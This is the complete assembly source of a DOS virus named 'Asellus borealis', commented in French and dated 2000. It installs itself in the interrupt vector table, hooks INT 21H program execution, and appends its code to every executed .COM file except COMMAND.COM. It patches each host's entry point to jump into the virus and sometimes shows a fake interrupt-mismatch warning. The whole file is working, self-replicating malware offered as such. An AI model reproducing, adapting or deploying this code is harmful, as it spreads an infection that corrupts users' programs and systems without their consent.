;Virus Asellus borealis, infecteur resident de COM qui place son code en fin ;des fichiers et se cache dans la table des vecteurs d'interruption. ;(10/12/2000) .model tiny .code IVOFS EQU 100H ORG 100H ;Le code qui suit verifie si le virus est deja present en memoire. Si c'est le ;cas, il termine en executant le programme hote, sinon, il charge le virus en ;memoire et alors seulement passe la main a l'hote. ASELLUS: call IN_MEMORY ;le virus est-il present en memoire ? jz EXEC_HOST ;oui=executer l'hote mov di,IVOFS+100H ;non=le copier en memoire mov si,bp sub si,3 mov cx,OFFSET END_ASELLUS-105H rep movsb ;d'abord, copie du code mov bx,21H*4 ;ensuite, modif. vecteur interrupt. 21H xor ax,ax ;ax=0 : segment table vect. interrupt. xchg ax,es:[bx+2] ;echange des segments mov cx,ax mov ax,OFFSET INT_21+IVOFS xchg ax,es:[bx] ;echange des offsets mov di,OFFSET OLD_21+IVOFS ;puis sauvegarde ancien vecteur stosw mov ax,cx stosw ;ca y est, le virus est resident ;Le code suivant execute le programme hote en deplacant les cinq octets ;sauvegardes dans HSTBUF a l'offset 100H et en leur passant le controle. EXEC_HOST: push ds pop es ;restauration du registre es mov si,bp add si,OFFSET HSTBUF-103H mov di,100H push di mov cx,5 rep movsb ret ;Cette routine controle la presence d'Asellus en memoire en comparant les ;10 premiers octets du gestionnaire d'interruption 21H avec ce qui se trouve ;en memoire dans la table des vecteurs d'interruption. IN_MEMORY: xor ax,ax ;positionne es pour segment=0 mov es,ax mov di,OFFSET INT_21+IVOFS ;di pointe le debut du virus mov bp,sp ;decouvre l'adresse absolue de retour mov si,[bp] ;dans la pile et la sauve dans si mov bp,si ;puis la sauve aussi dans bp add si,OFFSET INT_21-103H ;pointe le gestionnaire interrupt. 21H mov cx,40H ;compare 64 octets repe cmpsb ret ;Voici le gestionnaire d'interruption 21H. Il surveille toute tentative ;d'execution d'un fichier, et, dans ce cas, le virus entre en action. Cette ;partie de code est executee uniquement par le virus quand il se trouve deja ;dans la table des vecteurs d'interruption. C'est pourquoi il faut ajouter ;systematiquement le decalage d'offset IVOFS au valeurs calculees pour que ;cela puisse fonctionner. MSG_1 DB 'Asellus Borealis (c) French Section, Federation of Random Action' MSG_2 DB 7,'Interrupt vector mismatch warning at 0000:0084H',0DH,0AH,0AH,'$' OLD_21 DD ? INT_21: cmp ah,4BH ;execution d'un fichier ? je INFECT_FILE ;oui=mise en action du virus I21E: jmp DWORD PTR cs:[OLD_21+IVOFS] ;non=laisser faire le DOS avec ;cette interruption ;Ici, nous traitons la demande d'execution du fichier. Cette routine ouvrira ;prealablement le fichier pour verifier si le virus s'y trouve deja et, si non, ;le rajoutera a la fin. Alors, le fichier sera referme et le gestionnaire DOS ;d'origine executera le fichier normalement. INFECT_FILE: push ax push si push dx push ds push ds push bx push dx mov ds,0 mov bx,046CH test BYTE PTR [bx],7 jnz MESSAGE_DONE mov dx,OFFSET MSG_2+IVOFS mov ah,9 int 21H MESSAGE_DONE: pop dx pop bx pop ds mov si,dx ;maintenant, voyons si c'est un COM SRCH_END: lodsb or al,al ;octet de fin a zero ? jnz SRCH_END sub si,3 ;repointage de l'avant-dernier octet std lodsw ;controle de l'extension COM cmp ax,'MO' jne FEX lodsw cmp ax,'C.' jne FEX ;sortie si pas un fichier COM lodsw cmp ax,'DN' jne OPEN_FILE lodsw cmp ax,'AM' jne OPEN_FILE lodsw cmp ax,'MO' jne OPEN_FILE lodsw ;attention, lodsw avec std provoque cmp ah,'C' ;si=si-2 : il faut lire ah et non al je FEX ;ne pas infecter COMMAND.COM OPEN_FILE: mov ax,3D02H ;ouverture fichier en lecture/ecriture int 21H jc FEX ;sortie si erreur a l'ouverture mov bx,ax ;file handle sauve dans bx push cs pop ds mov ah,3FH ;lire les 5 octets du debut du fichier mov cx,5 mov dx,OFFSET HSTBUF+IVOFS ;et les sauvegarder int 21H mov ax,WORD PTR [HSTBUF+IVOFS] ;maintenant, controle de l'hote cmp ax,'ZM' ;est-ce un EXE cache en COM ? je FEX1 cmp ax,0E78AH ;la premiere instr est-elle "mov ah,bh" ? je FEX1 ;oui=deja infecte xor cx,cx xor dx,dx mov ax,4202H ;placer le pointeur de fichier a la fin int 21H push ax ;sauvegarder la taille du fichier mov ah,40H ;et ecrire le virus en fin de fichier mov dx,IVOFS+100H mov cx,OFFSET END_ASELLUS-100H int 21H xor cx,cx ;pointeur fichier de retour au debut xor dx,dx mov ax,4200H int 21H mov WORD PTR [HSTBUF+IVOFS],0E78AH ;modif. des 5 premiers octets mov BYTE PTR [HSTBUF+IVOFS+2],0E9H ;en mov ah,bh jmp ASELLUS pop ax sub ax,5 mov WORD PTR [HSTBUF+IVOFS+3],ax mov dx,OFFSET HSTBUF+IVOFS ;ecriture saut vers virus dans fichier mov cx,5 mov ah,40H int 21H FEX1: mov ah,3EH ;enfin fermer le fichier int 21H FEX: pop ds pop dx pop si pop ax jmp I21E HSTBUF: mov ax,4C00H int 21H END_ASELLUS: ;label de fin du virus END ASELLUS